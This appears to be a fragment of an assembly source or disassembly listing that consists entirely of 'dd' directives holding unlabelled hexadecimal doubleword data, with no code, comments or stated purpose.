dd 27F33137h, 52F0006Eh, 2E98FF82h, 0F4B01513h, 0C8FC103Bh
dd 0BF8A004Dh, 3D055EE6h, 773C0B4Eh, 5F0CF9CDh, 0EB2EE288h
dd 80B9D0FFh, 5B784405h, 702B0A9h, 770FCF7Dh, 0C1825097h
dd 0C3002A4Ah, 64AFF296h, 0A7537E0h, 0D2A08879h, 1CAF24E0h
dd 577804Ch, 7C28B378h, 712FBD03h, 88E6597Dh, 0C9D7818Bh
dd 90105879h, 3A14FAEAh, 0FA01931h, 4CC198ECh, 0A1117Ch
dd 4C772028h, 242C5C3Fh, 0EF75400h, 0E3BBB137h, 0C014CC2h
dd 9052B200h, 0BD71E80Ah, 0F18DDD00h, 0FEB6F9C3h, 4A05E895h
dd 0D54802CBh, 8C6071D1h, 9CBAEB27h, 0FB82EC00h, 0B0C30C8Dh
dd 64D8000Dh, 0B959487Dh, 2601E9BFh, 91145B5Fh, 0D0CD091Ch
dd 3C0F60h, 0C7EBA508h, 0A973358Ch, 3A7E3D00h, 89DEEEF2h
dd 29CF07BAh, 0A0CE678Dh, 5DFF6A4Ah, 9AC4806h, 99144EEh
dd 17EFA20h, 0E27D9082h, 0D2FCCE8h, 33CAA48h, 0B79CDF06h
dd 5B110029h, 4CE726ADh, 24033986h, 0A7373D5Fh, 0B847A310h
dd 16EF623Ch, 9493CFh, 0F04F0454h, 280065E1h, 36961FB1h
dd 1F09F685h, 45591281h, 0AA22F5h, 3C843E84h, 2600566Eh
dd 0E0E818B7h, 5544BFh, 835E7AF8h, 4DEEB7Dh, 0C409FD78h
dd 0CD53F6h, 73D55FCCh, 170E0083h, 5AB43AA2h, 0E000CADEh
dd 0A55DB85Bh, 60E93521h, 457E685Fh, 9604BDB1h, 131A1E92h
dd 2081AC81h, 2653ECh, 0BFC1F6AFh, 25D3A572h, 9B9FDD07h
dd 0C8054B54h, 0E41E040h, 0E22FECh, 0E76270C3h, 0F379A138h
dd 45754C00h, 4E3F1B59h, 0C0365F26h, 90DC2944h, 4C4D9C00h
dd 0E91E2D3h, 285E7A73h, 0C00602h, 0D095A193h, 7A6EBE51h
dd 0D2DEAD04h, 88C0C598h, 60CBBA68h, 1752B0EEh, 0E471D5B4h
dd 6F622300h, 1C5CB321h, 0BAB624EAh, 0B9D802Ch, 0AEEE3D86h
dd 43923000h, 51102C22h, 5F07003Ah, 0BD7FAFA9h, 0BF020515h
dd 24FD78DEh, 8B4C687Dh, 0BCD4EA0h, 5C00CF1Ch, 7F3F3628h
dd 0F0B9FB00h, 0A9F47819h, 807B01B4h, 0B0A2CC63h, 3D2180DAh
dd 1845083Fh, 3B203F95h, 12185AB1h, 0ABB440DCh, 0CD1C3DF7h
dd 0AC0FA72h, 0AF6853D8h, 4CF848CBh, 830C2426h, 0A5F739BFh
dd 80300999h, 0B71792D9h, 13E62Bh, 0EE0533B4h, 77B5C7C5h
dd 0D21C0754h, 0D5FA9275h, 7808E93Eh, 85306079h, 0E14EE046h
dd 0FA8F00F0h, 0BE3ABA1Ah, 620F94EBh, 200C8627h, 2C74327Ah
dd 751F0106h, 0EF0A1A6Bh, 0F380D2C1h, 0EB427D6Dh, 12AD9C01h
dd 0B9AEDC3Ch, 35E5DCh, 1876D3B1h, 28A9D85Fh, 3D774E01h
dd 0C5EC62E7h, 0C60C6E1h, 6EF00CAh, 0F0FB52E2h, 0F1006D7Bh
dd 33CD25FAh, 949C1798h, 8D8E0268h, 0FC80197Dh, 6CEDF907h
dd 9B5B18C2h, 24B478FAh, 2491ABB4h, 0C79A13D8h, 5870E024h
dd 1EE4954Bh, 849658h, 3A764F90h, 51FF5026h, 7B6084F9h
dd 57030036h, 0C8480881h, 17547E10h, 210E58E4h, 245DBDFEh
dd 409128EDh, 0F7C0BCADh, 202F00ABh, 607E1CFDh, 9172A2DEh
dd 8F763500h, 955DFB3Eh, 0F20B0263h, 26094564h, 3F004464h
dd 53E00F6Eh, 9A02DB7h, 37463BD5h, 36C061h, 281748h, 57B12CFAh
dd 0DC051ABFh, 750E26FAh, 0C020DF89h, 0D6EE1E45h, 805E60E3h
dd 4CC5B4BBh, 107F4D30h, 0E2D719D1h, 0CEF117D4h, 3A58008Fh
dd 0CDA7B510h, 8064A13Fh, 0ADED5567h, 163832Ah, 1F87F8EEh
dd 965CAEF6h, 0E0377E91h, 900726h, 0EFED9398h, 2BF2BE3Eh
dd 1F653Eh, 92C0337Eh, 852852h, 6422ED4Fh, 0C5C46886h
dd 60CE48h, 994EA38h, 3E995590h, 18E4F04Dh, 9AF0D136h
dd 320C2171h, 0C0600048h, 0AD8E486Ah, 0ED75DCh, 0A7C97524h
dd 0DEEF174Fh, 0D8379300h, 4935B420h, 708B03B1h, 72888790h
dd 77A7C001h, 0FD469526h, 1D6013E8h, 0C0F439B6h, 67758622h
dd 6D00F1BAh, 0FB53A68Bh, 3588DFCh, 3EBC0269h, 8AB8B6C6h
dd 0B0022D46h, 846FB415h, 5308C0A9h, 987D7429h, 0DE933D5Ch
dd 0BF431279h, 80205D94h, 2F41D59Ch, 61005790h, 3A324CFAh
dd 5494D92Eh, 4DDCAC5Ch, 2C825CE9h, 5048B146h, 6C99363Ah
dd 0D36A15C0h, 0E5710C2Bh, 4B148A57h, 370E158h, 0E23A3C88h
dd 2997B8FDh, 4E1403C8h, 0B8D733B6h, 0F422EF80h, 3B489Ch
dd 0BC5A480Ah, 33D85D6h, 3A03CF25h, 29B88C2Bh, 0AE04AC27h
dd 98180A22h, 0CEA92080h, 0A3CA00DAh, 0F4AFA6C1h, 7090471Eh
dd 0A00D6ECh, 0E81ADE5h, 0ECAA97h, 0A6CB659Ah, 489B019Fh
dd 0B9FCA500h, 23B08827h, 34730741h, 0B9716036h, 0CF921480h
dd 3F7D32E7h, 58B25Ch, 1B36684h, 39E274EEh, 4BF7894Ch
dd 93A80106h, 703CA488h, 0E600C158h, 190A0783h, 26FA6513h
dd 84583D94h, 90B98C18h, 77C62EE0h, 0CF004AB0h, 15EB0E34h
dd 0CF403B6h, 24020926h, 0BE715E29h, 0A3784F0Fh, 25193CB7h
dd 0C8103520h, 94055084h, 0B267AB7Bh, 0D4CD040h, 57E4F69h
dd 7A3C07B8h, 0CAB10EE0h, 1465C402h, 16EBC80h, 0BE0006FFh
dd 0C8BD740Fh, 0C7BB542h, 321C8AA1h, 880F8160h, 0A15BD6BBh
dd 0A9FAED30h, 8EDFD4h, 0FFBD3B26h, 53E4D2F7h, 0C202D1F4h
dd 0D68C97F1h, 945E4057h, 873500C3h, 5AEDEF6Ah, 3600A911h
dd 2C8C6542h, 6031BBA0h, 0B92B682Dh, 0C50028EBh, 27DF3659h
dd 13D58838h, 45DE899Fh, 0B3024CC4h, 118000D0h, 835FB6C2h
dd 26709AF7h, 0E6AAAEh, 2FF3E096h, 694CDE15h, 2B10944h
dd 8DB482EBh, 645840D2h, 4033004Eh, 27062184h, 490B1913h
dd 60D841C9h, 18A41FE8h, 11F2DE52h, 0EB003325h, 0BAB5BD4Dh
dd 2A98288Eh, 3FF0D873h, 0CBD090Ah, 0E1D3DC80h, 0BCDDC73Dh
dd 808F803Ch, 0D47687C8h, 1263A4B9h, 3C4FB1Ah, 0B60D5C44h
dd 0B07BB1E8h, 421B56B0h, 9870EE18h, 38FAAB53h, 0B58F6968h
dd 63C59ABBh, 912BC07Dh, 6398DF92h, 4750CA00h, 0DAFC1E83h
dd 0B2C30015h, 814F2253h, 794E4321h, 71E1C000h, 28BC46C2h
dd 28982DF8h, 4CB85DD8h, 809CB01Fh, 0F75ADE02h, 0B700F889h
dd 0D0DDBD35h, 282AB14h, 2FD47087h, 64C0A39Ch, 1D00DFB9h
dd 0AA04E851h, 7FA76086h, 795F720Dh, 469B002Dh, 34253377h
dd 1713B4F9h, 4C00DBD7h, 597E45F4h, 8DB6003Eh, 131151CDh
dd 48003188h, 1810964Fh, 60656E6Ch, 2523DE7Bh, 0C40A1690h
dd 90D707F8h, 0B296003Ch, 0F4B0525Ch, 0AF9F018Ch, 16094C53h
dd 64AF4363h, 8D6B5CF0h, 0EDC9100Ch, 7FC72166h, 133874CEh
dd 9635CCBh, 5381473Ch, 0DCB2B5FAh, 0F20041EBh, 7829A88h
dd 93A65Dh, 8A61E6A5h, 69FF9F2Ch, 5EDBC000h, 8662CC10h
dd 0D54F0005h, 1A842511h, 0C6707102h, 0AE75BCA0h, 0B938FA00h
dd 3386408Dh, 13F61EE4h, 585A039Eh, 3BB0E8D8h, 0FF0194C9h
dd 0B62A953Dh, 68E0CA69h, 20A000F5h, 0A8CE75E4h, 0AA138139h
dd 380177BCh, 2427B61h, 0B6DC3431h, 59C4033Bh, 0DDF344D9h
dd 2B1697F0h, 0D0E14D12h, 5B34D0D1h, 54071C3Ch, 0FC6249F5h
dd 3001611h, 192D7E3h, 0E2C7EA5Eh, 157628E4h, 0CD2725C1h
dd 6C5C2441h, 809E2C2Ch, 64418E0Fh, 5CA075A2h, 0CB912C1Eh
dd 74DF09E9h, 33E94880h, 6101F092h, 355C49BEh, 2C72E704h
dd 50F21B0Ch, 1026B80h, 52F9D361h, 43504036h, 1D1A7AD2h
dd 0BAA75E49h, 0CFD6760Eh, 7D8AF9C0h, 2900825Fh, 0A4D14D44h
dd 0A0CA80CEh, 301357C0h, 0B5B107AEh, 78003A6Dh, 0C6804DF8h
dd 3C37A56Ch, 9A00D553h, 0DFA81298h, 0D41F087Bh, 6A03FD3Eh
dd 0C10329F6h, 403CB5A7h, 0E8673504h, 0D250E178h, 0D9023B22h
dd 92BE84BCh, 79C4D096h, 0E403917Ah, 277FFE3Dh, 60CFA47Bh
dd 515B7C19h, 0D1105028h, 0EE02F9FBh, 67ED081Eh, 9E4760C0h
dd 3B771AEh, 3E23C69Bh, 60F8A476h, 0EE00614Eh, 7D4462BCh
dd 7E988CA8h, 0A91600CAh, 58E2BE22h, 0FE001E6Eh, 0C59B3884h
dd 0F901F56h, 6015F30Eh, 4E8F4543h, 6E07DF8h, 3C789100h
dd 17B6391Eh, 0AEF20054h, 1045D90h, 830031E9h, 6FA743FFh
dd 49FE6Ch, 0C513488Ah, 0BB04B54Eh, 0F2464F00h, 0BFAAFF6Dh
dd 0FA990005h, 665F2144h, 0CC144C2Dh, 0B64BAFh, 0C803C50Bh
dd 2613F83h, 0D933684h, 0F60A8E7h, 9918CF1Eh, 6C11FB0Fh
dd 0F420C02Dh, 0DCEE2B4Fh, 0BEA6E001h, 763487B7h, 0E8B0B2DCh
dd 0E59E3DFAh, 0BF0BE300h, 19435745h, 72BD6E00h, 0DED72F01h
dd 1840ECAEh, 4929E64Ch, 55658CEFh, 1023DFB9h, 0F5080946h
dd 2C0F9381h, 0C280540Fh, 19D6F48Ah, 0B1A3340Fh, 12AFC7EFh
dd 0CF8EF940h, 1E1FE6Ah, 67E6DC96h, 8A54C22Ch, 3493EE38h
dd 89368809h, 4674A04Ah, 2C6F3E16h, 78E085h, 25D345F8h
dd 0A395147Eh, 0B0EA8EECh, 0F87588ABh, 860CA021h, 0DBD30055h
dd 802B924Bh, 0C47CA784h, 3A1C5000h, 3DF967D1h, 31050060h
dd 0AD0819F8h, 6F00E266h, 968E0482h, 0B55E78h, 59A953D3h
dd 714E066Bh, 0C7F87900h, 579375C0h, 111B0092h, 382AB060h
dd 221D8AFCh, 0A80C34FFh, 0F3881Eh, 0BD3D29CDh, 0E15585B4h
dd 94DBF22Ch, 0C8D40480h, 0F860028Ch, 0C3955D1h, 0ED0843EDh
dd 0E0107242h, 88A19FE3h, 0D546B9D8h, 2B4C0849h, 0F077020h
dd 0B41A538Bh, 6E138185h, 0CC3EA040h, 26194B88h, 8014E1BDh
dd 52C64DC7h, 0D130E21Fh, 1E7E5106h, 4CBCA407h, 0BA00FAE0h
dd 8D4DD619h, 5F3CE3BFh, 0D8D430AAh, 0C748537Dh, 82A1B771h
dd 0D0AF7145h, 4C06A20Fh, 0DF012149h, 420D72C6h, 0BC38AA73h
dd 79DA7718h, 531CB5Ah, 43CAC8CCh, 0AC7CAC50h, 99C60298h
dd 6E2F668Fh, 0C27F545Eh, 1468D576h, 0D505BA6h, 33F2FAC4h
dd 0CE30A297h, 8A6C0277h, 8348F010h, 1334E2h, 9B4D3629h
dd 0DC42761Fh, 0B900C278h, 796C15A6h, 324B97h, 12029C7Ah
dd 0DDD4550h, 0A0F7C10Bh, 0E05E8F62h, 0AEDAF610h, 6D7A096Ch
dd 0FE838BB7h, 0EC8809Eh, 0FB00D5B0h, 81EC4D41h, 673E6ADh
dd 114CD004h, 43077967h, 1D5077DDh, 23CE603Fh, 0ABC892h
dd 3EEF2CBCh, 90B015D8h, 0EF4B58h, 0E6229BC2h, 2CF3AF51h
dd 0A3609Ah, 0F7B14363h, 0C100B3A5h, 0C9E664C7h, 2D6A2AF1h
dd 8F5C45E7h, 654A6200h, 236C6h, 0D132E299h, 37185D2Bh
dd 430060FEh, 0E6CB0F47h, 1AEF3Eh, 0C4DDD8EAh, 77C8E46Fh
dd 0ED13547Ah, 0C1000AA5h, 5A13AA79h, 53C10594h, 0C03044BEh
dd 0DDB571F1h, 0D4F16707h, 62208BB3h, 64D211F8h, 910DE282h
dd 0D49CD358h, 6401DA32h, 433EA3A2h, 0C6C44EEBh, 27510068h
dd 817079DCh, 0FB1D594Dh, 7BE5D4Ch, 5313E97Eh, 3CED9AC0h
dd 0E89E0060h, 0D41D0539h, 8D0021DDh, 0E7E414C6h, 18C3D8Fh
dd 1EBD632Fh, 0EE3F41A3h, 0C914CA20h, 24FE009Ah, 4868D54Eh
dd 9300C3DCh, 0B24CE3BCh, 0EA49B8h, 5332C8E1h, 847E60B6h
dd 0E202AC00h, 3A771FA1h, 0B4683BB8h, 673F313Dh, 0F5BF687h
dd 0F059A741h, 0FE804C03h, 35688903h, 87B192ABh, 83266B70h
dd 0B7572C31h, 0C49700D0h, 180EF02Ah, 0E35ED600h, 997A7DF9h
dd 7F490048h, 0FFCB7094h, 7700C984h, 0FE549A80h, 7BBC5A6Fh
dd 92E703D9h, 6A22EE52h, 0ED00E0E6h, 3BD31DE2h, 234692Ch
dd 530E52DFh, 9680A16Ch, 44D02D1h, 29AB5D00h, 44335695h
dd 9D0900EBh, 1A4F3630h, 0D2603AA5h, 172416D8h, 14FD00E1h
dd 0A0C2D822h, 0E4009D69h, 8EFA7C78h, 0FBBA97h, 1F9FBCCFh
dd 518BA042h, 4900ACFEh, 0A8B1FC14h, 943C770h, 8FC6E10Fh
dd 8851E824h, 307E214h, 4D39AF94h, 65E32D30h, 0E7D507C0h
dd 38481Dh, 2F9242BFh, 9CB0FE19h, 0E6F41h, 0DAF5DDECh
dd 0EBF440h, 0A023DF6h, 0EDD5CD64h, 0DDD3230Fh, 0C5AE012Ch
dd 20F8DF2Dh, 59BB225Ch, 0D0B09100h, 0D337E7CDh, 0AA61280h
dd 0C1084BADh, 0F6666687h
dd 0CE006132h, 20042FD5h, 77FDA24h, 2150E2B8h, 3418E0BBh
dd 20906C3Bh, 6160A630h, 5CDBFh, 0F3D411F9h, 3DB2615Ah
dd 40C1F024h, 0CA04873Bh, 7FC3D72Bh, 4569C9A5h, 3C88A422h
dd 729710C0h, 20CB306Ah, 56AC2CA9h, 38C8E56h, 0B8D73FADh
dd 7189F055h, 0F041E765h, 12FCF88Ah, 2C90AC42h, 8A181908h
dd 80E4AE01h, 1A8FB482h, 0EE5436F5h, 2000DB80h, 0FE34A6D3h
dd 0EDD626Dh, 0F9D1A496h, 164A79B8h, 4C29C503h, 0D01C9DB7h
dd 38EE0413h, 6181B428h, 648EDE86h, 338080CCh, 0B3859F53h
dd 0EF3700CFh, 0EA1F3239h, 130EB2F5h, 2B4AEEFDh, 0B66E0093h
dd 79A6F2h, 11E988ECh, 0FBC3AA9Ch, 0BD3B6400h, 991790B2h
dd 5BEA0444h, 8091A846h, 0A653518Ch, 0CBD5803h, 0A3EB29h
dd 17ACA2E9h, 0F9140D1Eh, 2DA5A4A8h, 68114402h, 57EDEE9Eh
dd 53383DC0h, 9CA34D09h, 9800F71Dh, 56D7C36Dh, 0EA24CCE0h
dd 0F500B04Fh, 7DE5261Ah, 35DA398Eh, 645F8C80h, 1CF4D514h
dd 55DBD103h, 80E0B975h, 9141FE16h, 0A6BC8304h, 40A88F78h
dd 4A186C2Dh, 0F2C08DB1h, 3C0D00C2h, 0A3CC2257h, 5600AE8Fh
dd 0CD204675h, 7BE962Fh, 5AF6D147h, 8D44E0A0h, 0D8702CACh
dd 0B0054B9h, 0C54256D5h, 1A68246Fh, 21E7040Dh, 8115C702h
dd 32C11E2Dh, 395EC788h, 0C0D08284h, 18E7982Ch, 2104EED2h
dd 0DE2641E8h, 0F28FE8FFh, 329BCF2Ch, 76E2B840h, 4629E81h
dd 191EF6CAh, 8BC8D199h, 0C00862A3h, 0E4B9559Bh, 26009B3Bh
dd 7E528034h, 271690EEh, 0DEF1E212h, 0FF24849h, 4CB895ACh
dd 22E500BCh, 0BA33CF01h, 3FD7674h, 8DFF7978h, 0B9039548h
dd 0ABEE6F4Dh, 5EF4985Bh, 0A750078h, 65B23C66h, 3A3D15B8h
dd 0B11A9373h, 96944D00h, 1225942h, 48568A1h, 202E36CBh
dd 9E008765h, 0C709F77Ch, 3D40B2E8h, 1F4AF19h, 73CD981Dh
dd 0ED3CDBE3h, 2774D050h, 8C07B3F4h, 6DBCECFAh, 0E813E400h
dd 0D6F30078h, 2C9FEBC0h, 54B0552Fh, 0C3205700h, 0BE2565C5h
dd 0B56B001Eh, 30FC02B8h, 82016990h, 79927CCFh, 70203CF6h
dd 129E772Ch, 908575D3h, 0EEA11794h, 0D20C2B0Eh, 0DA864192h
dd 90400231h, 0B0837DC4h, 0DD580008h, 0F0531CFFh, 6BE8E54Eh
dd 5F2E3D00h, 5C9E844Ah, 76BD059Fh, 4EC73E28h, 6BA195CCh
dd 0F06F19C0h, 0EC0025BEh, 6EEFE068h, 0B0A59E6h, 0D331F8F3h
dd 6D242680h, 6C3E810Fh, 2A660E6Fh, 941C023Ah, 20CE8F11h
dd 6EF84BFFh, 896207B9h, 0E0DF40BEh, 550C87F1h, 0E82ED400h
dd 0B986669Dh, 927F2EACh, 778C00ABh, 5753E9DAh, 7300D573h
dd 176EEB3Bh, 73E7AAAFh, 7C51075Dh, 0BA12B988h, 0EC2E88h
dd 694B768h, 0AB4CF91Ch, 9E29F08h, 3E9D41B3h, 0E5115020h
dd 0DC58F5CCh, 1A6100DCh, 65C3CF27h, 8EEEE9h, 42D77FAEh
dd 6F45325Ah, 6AD8A600h, 8344C0FDh, 703A5C80h, 6007F05Ch
dd 10D8C682h, 99B37D8Dh, 0F16B6300h, 0A398C5EAh, 7041487Fh
dd 4ABF240Fh, 0B91FDD40h, 0C7746347h, 0A0B71E30h, 145928Eh
dd 0F0EBFA1Dh, 68D3C252h, 42890F2Ch, 44DD401Eh, 2B0DF1Dh
dd 0B1ABE5B8h, 0A041B36Bh, 0F2C3F4B9h, 0E2653D00h, 63884519h
dd 8E6D3050h, 15AABDF1h, 0C3A6F104h, 0F0D0F323h, 4A995BF2h
dd 9300448Bh, 7554C05Dh, 0C90082A7h, 49D462E5h, 78EDF73h
dd 47BD053Dh, 0BCA0296Dh, 1A53ACCFh, 4AC1F903h, 0C861648Ch
dd 0B906E4ADh, 4030400Ch, 10C0AEE6h, 71451CEFh, 689F0092h
dd 96EE6B59h, 0F8F82930h, 20B028B2h, 80F8D958h, 73F020E0h
dd 7759779Bh, 883E4D65h, 0F99C3Bh, 0A01042DEh, 70985180h
dd 12BC7D00h, 0BF7AF3C2h, 0A770FDh, 1CAB60FEh, 0BAB8A3D9h
dd 74B3DC00h, 1DC333EEh, 0B8CC6213h, 4868D9F4h, 5052F6E5h
dd 0A36025Ch, 91CD65E2h, 0C8209A50h, 785000ECh, 2E8BB453h
dd 0AE26BD3h, 6945DF00h, 75A77958h, 93E70383h, 8C162254h
dd 5E5C91BCh, 6C3D20DCh, 5098CA54h, 4785BA00h, 0C225ED82h
dd 0D7609FCh, 1818C064h, 0E71B562h, 97E5DF04h, 7490CF08h
dd 11F5DD1h, 0B21748F5h, 282CE282h, 0EDDC8178h, 69BE218Eh
dd 65F07701h, 8BE8D3A5h, 0B080BF1h, 0F720308Bh, 1CE15C11h
dd 0A338FB9Fh, 6E2F84Ch, 3A257C01h, 9A269180h, 0A389D868h
dd 9F54625Dh, 1239E801h, 9180FFCAh, 9E6EAC32h, 1317BFA1h
dd 78000C1Ch, 7C7A2F3h, 0F21F0FE4h, 0BC0ECAEh, 2AC974D4h
dd 86CC2701h, 1B5BB954h, 60149BF0h, 4568389Fh, 2600E6D5h
dd 0B92A2134h, 3D959150h, 4B9CEB7Fh, 0D778C59h, 6600B6C0h
dd 46BDF901h, 7C3054h, 98B272F8h, 484B3175h, 11749F02h
dd 0E0200641h, 0AD60A4Ch, 35F4223Eh, 6AD1868Ch, 6D2AC8B0h
dd 872A8C90h, 6733D863h, 0D65029BAh, 0AC0D4CF0h, 153D3F00h
dd 0CA5B5E7Ch, 43058B00h, 42A0972Bh, 0B2F31C2Dh, 0C0C11CCEh
dd 9BA513C3h, 0F103847Bh, 0CC7152B8h, 4F2780EEh, 73FF00D4h
dd 58AD25F8h, 860F9410h, 6906C2h, 81229FC4h, 7370267h
dd 0C565C040h, 0D91FE450h, 0B680DBE8h, 2D431D59h, 37C100E2h
dd 6E87B375h, 0EE00E926h, 9E3E4DDh, 1C9BBDA4h, 0DEFC35DCh
dd 9E820096h, 9AA61FC2h, 7C277A1Ch, 20809F41h, 98746443h
dd 0BA060146h, 68B37844h, 79845053h, 8A1D5558h, 72404E47h
dd 5E6D6EFDh, 99A90094h, 2349CAE2h, 4300BCBEh, 0C629EB24h
dd 0B0330BEEh, 6FC43D8Dh, 804126h, 0F9D54942h, 7BFEFE11h
dd 201D9030h, 3AB22F2h, 6BB35569h, 0A6980E07h, 0D500BF74h
dd 71B2B8DDh, 7B579C09h, 654B0084h, 584D02B0h, 0EA3E305Dh
dd 86D99C96h, 766792C2h, 90C620B8h, 0BA00AD95h, 0E464D49Dh
dd 7940DCC8h, 521F38C4h, 12DE0113h, 50E8C7C7h, 5F26E114h
dd 0B29BB500h, 96EF6A03h, 8F4B0E25h, 86A05158h, 0D43F6C01h
dd 0A30D3D00h, 0E902A02Bh, 45B90152h, 0C4B7EBF3h, 209EE19Dh
dd 99007E40h, 6A60BB70h, 2E298C2h, 0C7FF7A4Ch, 0F4501B81h
dd 20DA8C88h, 0C638FD00h, 0A69D76D6h, 7E07F2AEh, 1EBB0F1Dh
dd 0A8808C6Ch, 0F7C01655h, 21E2F6ECh, 4751E300h, 59562AF0h
dd 1611000Fh, 53CF5226h, 4F03B9BBh, 81957ECBh, 0D680150h
dd 0E173885Dh, 0DCC88064h, 91E0312Eh, 9CCB5036h, 220F0039h
dd 17D3D07Bh, 0F6009F6Dh, 6948D42Ah, 59247h, 0B49A7981h
dd 0CC34C3B2h, 0C0599C1Eh, 0C141DC80h, 139860A9h, 80856DEEh
dd 48B97198h, 0D6428E1Dh, 4D633E40h, 587C49h, 0E279415h
dd 0FE8D4846h, 0E442C400h, 0BCF49DF0h, 0BB5C0056h, 0FFE2C3F5h
dd 860F40A2h, 89475B7Ah, 2E600E7Dh, 64ACC06Bh, 410E15h
dd 82FBA2D7h, 0E2CB0B89h, 91E55800h, 5F4BBB96h, 7EB900AFh
dd 0EBCA10EFh, 0D400566Dh, 953D258Dh, 72F81BBFh, 1EA8007Dh
dd 3A644CA6h, 60B07859h, 56480C07h, 95602E75h, 0A23F06h
dd 79707755h, 0B3382FBEh, 0EE78560Fh, 0E10980AAh, 0ECE9EEDh
dd 3C5FC042h, 0F5F3F6C0h, 1D7A9B28h, 0CDBA5B14h, 1F571EC8h
dd 0C6D7F100h, 2646B899h, 924C5DA3h, 92C46362h, 6C4E8CE8h
dd 46F1F600h, 0EADDC9E3h, 4F9600D4h, 0BFA723BDh, 610059A8h
dd 0E14AEE04h, 0CFA3FA1Ah, 0B0EDC68h, 161C00D2h, 9DE8C20h
dd 0C0C6F212h, 0F9410400h, 83AC02h, 0EF19D836h, 0B756100Bh
dd 8A912700h, 0AFF64435h, 892F0090h, 0DFEE2392h, 2601E9B1h
dd 650C0EF9h, 2864B94Ah, 0C59C0075h, 0F0E822A0h, 3200B6FDh
dd 0FF5AD0FBh, 321FC0Ah
dd 20E5EACh, 0E3D8AA01h, 1A31EDCAh, 5864D83Ch, 932130h
dd 70BA5661h, 0B3F66D7Bh, 0FF43AF00h, 0E4DA2DD1h, 4D7F09E6h
dd 58E05181h, 0D500088Dh, 0B76F533Ah, 9A1A2h, 0BDB5D826h
dd 0F42CB44Ah, 5B231A00h, 38C6448Bh, 3F1E00E8h, 0CF45B8A6h
dd 3300F51Dh, 0A7863E3Ch, 948DF62Ch, 0BC460320h, 73A0C2E6h
dd 0D36F0381h, 5B7E8570h, 7A7AA0B4h, 88961FBAh, 39A49DA2h
dd 0C81A7E17h, 0C3806C08h, 0E02B1DF1h, 0D22700E3h, 0C7C6881Ch
dd 2C8D18D7h, 0E1D37641h, 541814CBh, 270E74E6h, 16805C4Ch
dd 0B062B503h, 0DC73C700h, 0B3F8DDF1h, 1829CC72h, 17133F20h
dd 0ACE1535Fh, 403F0CF9h, 0BED3C478h, 2100772Bh, 506D9D53h
dd 7516884Bh, 0AACB03FFh, 308E049Ah, 87081C5h, 1FFC6CF8h
dd 110B15CCh, 8C50A7h, 0F66AB2FFh, 55C95824h, 0F1E0D300h
dd 96CBC8CDh, 0D5802FEFh, 0B1F4F800h, 0D118B606h, 0E288E50Ch
dd 0F9743Ch, 3629284Bh, 0E7EA671h, 1F981E07h, 561019BAh
dd 0FBADF7h, 0ED084AB0h, 90DE2685h, 0EAE1F502h, 2A555A8Ch
dd 4CDF0769h, 0CF750269h, 12008072h, 0D954BEC7h, 0C3EB27h
dd 25FF6FCAh, 85AEC7Eh, 7622820Ch, 44A31E3h, 0C5EE2961h
dd 3CBF8118h, 28D9DBE2h, 7FF8D464h, 8C76AB8h, 7B0FB75h
dd 0BE687342h, 49C6981Ch, 6000FC3Ch, 0CA37DF11h, 0B582ACh
dd 9179DC06h, 40C4DB62h, 0EF731007h, 18C0BF86h, 0BCABB1h
dd 787EF905h, 0C04BAF89h, 7C9F9A00h, 969DB73Dh, 0D2ED1D1Bh
dd 40AEC6ACh, 35F85009h, 0BE204862h, 9D580D65h, 0D4068220h
dd 118438h, 868B2170h, 1CAAB7E2h, 84A0933h, 0CE210078h
dd 2D2A8B59h, 21381950h, 254180A9h, 4676CF2h, 9EBC5CAAh
dd 27A08630h, 880039DEh, 0AE4D62EDh, 0C00701B0h, 0C6D31048h
dd 0BC06915Ch, 0F4843C0Ah, 21196009h, 425CFEB3h, 279BAB1Dh
dd 2485088Ah, 0E3899311h, 0E2BCF381h, 1724523Dh, 5BDB4620h
dd 78C3182Dh, 12BBF929h, 58C48E74h, 6E0EF61Ch, 0D71D1A27h
dd 0E88640FFh, 9C7A5939h, 0CF25C801h, 19B0C730h, 5514E8h
dd 98B64681h, 0F03AA2Bh, 58507000h, 4BA3F21Ah, 5A540016h
dd 6F6BAC6Ch, 0CE00C53Ch, 0FAE8CF47h, 0B1E93A4h, 132EBA19h
dd 6244B400h, 4F28BF65h, 0A0FA8D4h, 0E081E404h, 56B07301h
dd 7C61F2A2h, 40470097h, 6F96C023h, 540022AFh, 0C31BFB2Fh
dd 0D14E57h, 0CA9F8EC1h, 0B388D36Eh, 74B7F300h, 54E36DD7h
dd 84C10028h, 0C04C32C7h, 22004E97h, 24DEDA2Ch, 3C884FE7h
dd 29309E21h, 4A725448h, 0B8EC9D00h, 0ABF43922h, 96E444CAh
dd 1A66200h, 0F127787Fh, 838D3E13h, 0C43CDF0Ch, 192CC841h
dd 2D058852h, 93C64843h, 0E8CB3008h, 52729120h, 7236458h
dd 989E5F34h, 1CEFD3h, 0D6AFCB21h, 0EEFB4B75h, 495F631Eh
dd 879B414Fh, 0A3471EC9h, 9A9C818Eh, 0B980B857h, 19D33AAh
dd 2400F18Fh, 25395A70h, 95D576h, 1C0D2763h, 0A8E9D4Bh
dd 0C831E574h, 0E309B101h, 0FD280880h, 0B77DBEF4h, 0F74B8200h
dd 2D9C0F67h, 6A790064h, 0F3937768h, 0A500973Dh, 39B93CBFh
dd 564E2F8h, 0AE22F547h, 8E94406Eh, 87356855h, 0EDB2E30Ch
dd 0A47439h, 291B2BC4h, 0C20AF294h, 0B7CF79DEh, 32CA7FD5h
dd 1743C42Ch, 212EA0C3h, 0E129C0DCh, 6AAF8DFCh, 0C5A8C206h
dd 6708D242h, 0AA2F21D5h, 10E806C8h, 0EF2A8963h, 0B900AC41h
dd 354549D4h, 0C828668h, 4D577229h, 9201B429h, 0E6CFC79Ch
dd 0D6D79105h, 918B6008h, 89CFA07h, 0A037E402h, 40ACB763h
dd 0C7CAA934h, 0F0E0F5C8h, 2DA8364Ah, 4B427401h, 859B4F79h
dd 6453FCh, 87F7F228h, 155DC1E6h, 0E10014FEh, 8EFE7816h
dd 363AACh, 0DBFFE826h, 0DA0FCD01h, 806B8A33h, 1BEAD39Dh
dd 0F163D7C9h, 834657E1h, 7B0538C1h, 42E3D80Eh, 0F5BC00B8h
dd 0AF8BEA5Bh, 0E9C093CAh, 5D73299Dh, 0D8330C1Bh, 5C50B7F5h
dd 2A137E44h, 78B889EFh, 6C344982h, 76521E80h, 448C35A9h
dd 1F00E6E5h, 0AA41C352h, 12EE2E1Ah, 1A5A1ABh, 50343F24h
dd 0BDDAEC0Ah, 4FE93314h, 8CCDB830h, 7A8B7E00h, 0D64A4E33h
dd 0E52903DEh, 0A9644082h, 0ABC872AAh, 0AD509963h, 3E60EFD0h
